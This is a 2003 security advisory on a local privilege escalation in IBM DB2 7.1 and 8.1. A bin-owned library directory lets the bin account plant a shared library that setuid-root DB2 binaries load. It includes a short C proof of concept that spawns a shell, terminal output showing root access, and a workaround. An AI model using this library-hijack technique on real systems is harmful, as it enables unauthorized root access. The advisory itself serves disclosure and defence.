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Slight privilege elevation from bin to root in IBM DB2 7.1 - 8.1all binaries






 Title:    Local Vulnerability in IBM DB2 7.1 - 8.1 all binaries
 Date:     27-07-2003
 Platform: Only tested in Linux but can be exported to others. 
	   Only versions 7.1 and Enterprise Server Edition v8.1 were checked
	   but could affect other versions.
 Impact:   Slight privilege elevation from bin to root.
 Author:   Juan Manuel Pascual Escriba <pask@uninet.edu>
 Status:   Vendor contacted details below.


PROBLEM SUMMARY:

 DB2 Universal Data Base Enterprise Server Edition versions 7.1 and 8.1 are installed 
in /home directories and put its libraries in:
	/usr/IBMdb2/V7.1/lib in 7.1 Version
	/opt/IBM/db2/V8.1/lib in 8.1 Version

In both versions the lib directory is owned by bin.bin. If some local or remote attacker 
could compromise bin account, it would be possible to elevate privileges to root inmediatly 
via a so library creation.


DESCRIPTION

db2 libraries are installed owned by bin in my default installation in 7.1 & 8.1 versions

[pask@dimoniet home]$ ls -alc /usr/IBMdb2/V7.1 
...
drwxr-xr-x    2 bin      bin          4096 Jun 21  2002 java12
drwxr-xr-x    2 bin      bin          4096 Jul 30 19:54 lib
drwxr-xr-x    2 bin      bin          4096 Jun 21  2002 map
...

[pask@dimoniet home]$ ls -alc /opt/IBM/db2/V8.1/
...
drwxr-xr-x    2 bin      bin          4096 Dec 11  2002 java
drwxr-xr-x    2 bin      bin          4096 Dec 11  2002 lib
drwxr-xr-x   30 bin      bin          4096 Dec 11  2002 license
drwxr-xr-x    2 bin      bin          4096 Dec 11  2002 map
...


For bin user is too easy to create a so.lib, something like

#include <stdio.h>
#include <string.h>

_init() {
   printf("en el _init()\n");
   printf("Con PID=%i y EUID=%i",getpid(),getuid());
   system("/bin/bash");
   printf("Saliendo del Init()\n");
}

compiling in /usr/IBMdb2/V7.1/lib/libdl.so.2 and exec some root-setuided binary, for example 
	-r-s--x--x    1 root     db2asgrp    15557 Jul 31 00:42 db2cacpy
	-r-sr-s--x    1 root     db2asgrp    17562 Jun 21  2002 db2dari
	-r-s--x--x    1 root     db2asgrp    68291 Jun 21  2002 db2genp
	-r-sr-x--x    1 root     db2asgrp    97722 Jun 21  2002 db2licd
	-r-sr-s--x    1 root     db2asgrp    23063 Jul 29 03:15 db2start
	-r-sr-s--x    1 root     db2asgrp    24396 Jun 21  2002 db2stop
	-r-sr-s---    1 root     db2asgrp    50879 Jun 21  2002 db2sysc
	-r-sr-s--x    1 root     db2asgrp    81925 Jun 21  2002 db2udf
	-r-sr-s--x    1 root     db2asgrp    16940 Jun 21  2002 db2udfi

[bin@dimoniet adm]$ /home/db2as/sqllib/adm/db2cacpy
/home/db2as/sqllib/adm/db2cacpy: /usr/IBMdb2/V7.1/lib/libdl.so.2: no version information available (required by /usr/IBMdb2/V7.1/lib/libdb2.so.1)
/home/db2as/sqllib/adm/db2cacpy: /usr/IBMdb2/V7.1/lib/libdl.so.2: no version information available (required by /usr/IBMdb2/V7.1/lib/libdb2.so.1)
en el _init()
Con PID=10477 y EUID=0
No value for $TERM and no -T specified
No value for $TERM and no -T specified
[root@dimoniet adm]# id
uid=0(root) gid=0(root) groups=1(bin)
[root@dimoniet adm]# exit
exit
Saliendo del Init()
[bin@dimoniet adm]$


For 8.1 installation, the same strategy. I create a /opt/IBM/db2/V8.1/lib/libdl.so.2 and exec some of this files (exists more root-setuided files in other directories)

	-r-s--x--x    1 root     db2grp1     70445 Dec 11  2002 db2cacpy
	-r-sr-s--x    1 root     db2grp1     78272 Dec 11  2002 db2fmp
	-r-sr-s--x    1 root     db2grp1     75101 Dec 11  2002 db2fmpterm
	-r-s--x--x    1 root     db2grp1    101419 Dec 11  2002 db2genp
	-r-sr-x--x    1 root     db2grp1    180378 Dec 11  2002 db2licd
	-r-sr-s--x    1 root     db2grp1     38044 Dec 11  2002 db2start
	-r-sr-s--x    1 root     db2grp1     84713 Dec 11  2002 db2stop

[bin@dimoniet adm]$ ./db2start
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required by /opt/IBM/db2/V8.1/lib/libdb2e.so.1)
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required by /opt/IBM/db2/V8.1/lib/libdb2e.so.1)
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required by /opt/IBM/db2/V8.1/lib/libdb2osse.so.1)
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required by /opt/IBM/db2/V8.1/lib/libdb2osse.so.1)
en el _init()
Con PID=10540
Con EUID=0
No value for $TERM and no -T specified
No value for $TERM and no -T specified
[root@dimoniet adm]# id
uid=0(root) gid=0(root) groups=1(bin)
[root@dimoniet adm]# exit
exit
Saliendo del Init()
SQL1042C  An unexpected system error occurred.  SQLSTATE=58004


	
IMPACT:
	
	bin user can gain root privileges through db2 installation


 EXPLOIT

	commented above.


 WORKAROUND

	chown to root the db2 lib directory and libraries


 STATUS 

     This bug was reported to security-alert@austin.ibm.com on July 27.
After that on July 29 IBM sec staff forwards as bcc my emails to with db2
security team. At 5th August i have'nt any idea about db2 sec team emails
or how to contact with it.




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This vulnerability was researched by:
Juan Manuel Pascual Escriba            pask@uninet.edu


http://concepcion.upv.es/~pask/advisories/2003/IBM%20DB2%20so-libraries


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